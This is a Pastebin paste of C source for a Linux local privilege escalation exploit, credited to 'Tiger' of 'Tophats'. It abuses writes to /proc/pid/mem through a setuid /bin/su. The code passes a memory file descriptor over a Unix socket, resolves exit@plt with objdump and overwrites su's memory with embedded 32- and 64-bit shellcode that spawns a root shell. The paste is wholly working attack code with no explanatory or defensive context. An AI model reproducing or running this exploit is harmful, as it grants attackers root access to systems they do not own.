Tophat

2012 64_86 3.2.23_x_x

Aug 12th, 2012
203
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.89 KB | None | 0 0
  1. /*
  2. 2012.
  3. coded by Tiger
  4. Tophats
  5. */
  6.  
  7.  
  8.  
  9. #define _LARGEFILE64_SOURCE
  10.  
  11. #include <stdio.h>
  12.  
  13. #include <string.h>
  14.  
  15. #include <stdlib.h>
  16.  
  17. #include <sys/types.h>
  18.  
  19. #include <sys/stat.h>
  20.  
  21. #include <sys/socket.h>
  22.  
  23. #include <sys/un.h>
  24.  
  25. #include <fcntl.h>
  26.  
  27. #include <unistd.h>
  28.  
  29. #include <limits.h>
  30.  
  31.  
  32.  
  33. char *socket_path = "/tmp/.sockpuppet";
  34.  
  35. int send_fd(int fd)
  36.  
  37. {
  38.  
  39. char buf[1];
  40.  
  41. struct iovec iov;
  42.  
  43. struct msghdr msg;
  44.  
  45. struct cmsghdr *cmsg;
  46.  
  47. struct sockaddr_un addr;
  48.  
  49. int n;
  50.  
  51. int sock;
  52.  
  53. char cms[CMSG_SPACE(sizeof(int))];
  54.  
  55.  
  56.  
  57. if ((sock = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
  58.  
  59. return -1;
  60.  
  61. memset(&addr, 0, sizeof(addr));
  62.  
  63. addr.sun_family = AF_UNIX;
  64.  
  65. strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
  66.  
  67. if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0)
  68.  
  69. return -1;
  70.  
  71.  
  72.  
  73. buf[0] = 0;
  74.  
  75. iov.iov_base = buf;
  76.  
  77. iov.iov_len = 1;
  78.  
  79.  
  80.  
  81. memset(&msg, 0, sizeof msg);
  82.  
  83. msg.msg_iov = &iov;
  84.  
  85. msg.msg_iovlen = 1;
  86.  
  87. msg.msg_control = (caddr_t)cms;
  88.  
  89. msg.msg_controllen = CMSG_LEN(sizeof(int));
  90.  
  91.  
  92.  
  93. cmsg = CMSG_FIRSTHDR(&msg);
  94.  
  95. cmsg->cmsg_len = CMSG_LEN(sizeof(int));
  96.  
  97. cmsg->cmsg_level = SOL_SOCKET;
  98.  
  99. cmsg->cmsg_type = SCM_RIGHTS;
  100.  
  101. memmove(CMSG_DATA(cmsg), &fd, sizeof(int));
  102.  
  103.  
  104.  
  105. if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
  106.  
  107. return -1;
  108.  
  109. close(sock);
  110.  
  111. return 0;
  112.  
  113. }
  114.  
  115.  
  116.  
  117. int recv_fd()
  118.  
  119. {
  120.  
  121. int listener;
  122.  
  123. int sock;
  124.  
  125. int n;
  126.  
  127. int fd;
  128.  
  129. char buf[1];
  130.  
  131. struct iovec iov;
  132.  
  133. struct msghdr msg;
  134.  
  135. struct cmsghdr *cmsg;
  136.  
  137. struct sockaddr_un addr;
  138.  
  139. char cms[CMSG_SPACE(sizeof(int))];
  140.  
  141.  
  142.  
  143. if ((listener = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
  144.  
  145. return -1;
  146.  
  147. memset(&addr, 0, sizeof(addr));
  148.  
  149. addr.sun_family = AF_UNIX;
  150.  
  151. strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
  152.  
  153. unlink(socket_path);
  154.  
  155. if (bind(listener, (struct sockaddr*)&addr, sizeof(addr)) < 0)
  156.  
  157. return -1;
  158.  
  159. if (listen(listener, 1) < 0)
  160.  
  161. return -1;
  162.  
  163. if ((sock = accept(listener, NULL, NULL)) < 0)
  164.  
  165. return -1;
  166.  
  167.  
  168.  
  169. iov.iov_base = buf;
  170.  
  171. iov.iov_len = 1;
  172.  
  173.  
  174.  
  175. memset(&msg, 0, sizeof msg);
  176.  
  177. msg.msg_name = 0;
  178.  
  179. msg.msg_namelen = 0;
  180.  
  181. msg.msg_iov = &iov;
  182.  
  183. msg.msg_iovlen = 1;
  184.  
  185.  
  186.  
  187. msg.msg_control = (caddr_t)cms;
  188.  
  189. msg.msg_controllen = sizeof cms;
  190.  
  191.  
  192.  
  193. if ((n = recvmsg(sock, &msg, 0)) < 0)
  194.  
  195. return -1;
  196.  
  197. if (n == 0)
  198.  
  199. return -1;
  200.  
  201. cmsg = CMSG_FIRSTHDR(&msg);
  202.  
  203. memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
  204.  
  205. close(sock);
  206.  
  207. close(listener);
  208.  
  209. return fd;
  210.  
  211. }
  212.  
  213.  
  214.  
  215. int main(int argc, char **argv)
  216.  
  217. {
  218.  
  219. if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') {
  220.  
  221. char parent_mem[256];
  222.  
  223. sprintf(parent_mem, "/proc/%s/mem", argv[2]);
  224.  
  225. printf("[+] Opening parent mem %s in child.\n", parent_mem);
  226.  
  227. int fd = open(parent_mem, O_RDWR);
  228.  
  229. if (fd < 0) {
  230.  
  231. perror("[-] open");
  232.  
  233. return 1;
  234.  
  235. }
  236.  
  237. printf("[+] Sending fd %d to parent.\n", fd);
  238.  
  239. send_fd(fd);
  240.  
  241. return 0;
  242.  
  243. }
  244.  
  245.  
  246.  
  247. printf("===============================\n");
  248.  
  249. printf("= H4x0rL1f3 =\n");
  250.  
  251. printf("= --- =\n");
  252.  
  253. printf("= Feb 25, 2012 =\n");
  254.  
  255. printf("===============================\n\n");
  256.  
  257.  
  258.  
  259. int parent_pid = getpid();
  260.  
  261. if (fork()) {
  262.  
  263. printf("[+] Waiting for transferred fd in parent.\n");
  264.  
  265. int fd = recv_fd();
  266.  
  267. printf("[+] Received fd at %d.\n", fd);
  268.  
  269. if (fd < 0) {
  270.  
  271. perror("[-] recv_fd");
  272.  
  273. return -1;
  274.  
  275. }
  276.  
  277. printf("[+] Assigning fd %d to stderr.\n", fd);
  278.  
  279. dup2(2, 6);
  280.  
  281. dup2(fd, 2);
  282.  
  283.  
  284.  
  285. unsigned long address;
  286.  
  287. if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
  288.  
  289. address = strtoul(argv[2], NULL, 16);
  290.  
  291. else {
  292.  
  293. printf("[+] Reading su for exit@plt.\n");
  294.  
  295. // Poor man's auto-detection. Do this in memory instead of relying on objdump being installed.
  296.  
  297. FILE *command = popen("objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
  298.  
  299. char result[32];
  300.  
  301. result[0] = 0;
  302.  
  303. fgets(result, 32, command);
  304.  
  305. pclose(command);
  306.  
  307. address = strtoul(result, NULL, 16);
  308.  
  309. if (address == ULONG_MAX || !address) {
  310.  
  311. printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
  312.  
  313. printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]);
  314.  
  315. return 1;
  316.  
  317. }
  318.  
  319. printf("[+] Resolved exit@plt to 0x%lx.\n", address);
  320.  
  321. }
  322.  
  323. printf("[+] Calculating su padding.\n");
  324.  
  325. FILE *command = popen("su this-user-does-not-exist 2>&1", "r");
  326.  
  327. char result[256];
  328.  
  329. result[0] = 0;
  330.  
  331. fgets(result, 256, command);
  332.  
  333. pclose(command);
  334.  
  335. unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char);
  336.  
  337. unsigned long offset = address - su_padding;
  338.  
  339. printf("[+] Seeking to offset 0x%lx.\n", offset);
  340.  
  341. lseek64(fd, offset, SEEK_SET);
  342.  
  343.  
  344.  
  345. #if defined(__i386__)
  346.  
  347. // See shellcode-32.s in this package for the source.
  348.  
  349. char shellcode[] =
  350.  
  351. "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
  352.  
  353. "\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
  354.  
  355. "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
  356.  
  357. "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
  358.  
  359. "\x80";
  360.  
  361. #elif defined(__x86_64__)
  362.  
  363. // See shellcode-64.s in this package for the source.
  364.  
  365. char shellcode[] =
  366.  
  367. "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40"
  368.  
  369. "\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69"
  370.  
  371. "\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb"
  372.  
  373. "\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48"
  374.  
  375. "\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
  376.  
  377.  
  378.  
  379. #else
  380.  
  381. #error "That platform is not supported."
  382.  
  383. #endif
  384.  
  385. printf("[+] Executing su with shellcode.\n");
  386.  
  387. execl("/bin/su", "su", shellcode, NULL);
  388.  
  389. } else {
  390.  
  391. char pid[32];
  392.  
  393. sprintf(pid, "%d", parent_pid);
  394.  
  395. printf("[+] Executing child from child fork.\n");
  396.  
  397. execl("/proc/self/exe", argv[0], "-c", pid, NULL);
  398.  
  399. }
  400.  
  401. }
Advertisement
Add Comment
Please, Sign In to add comment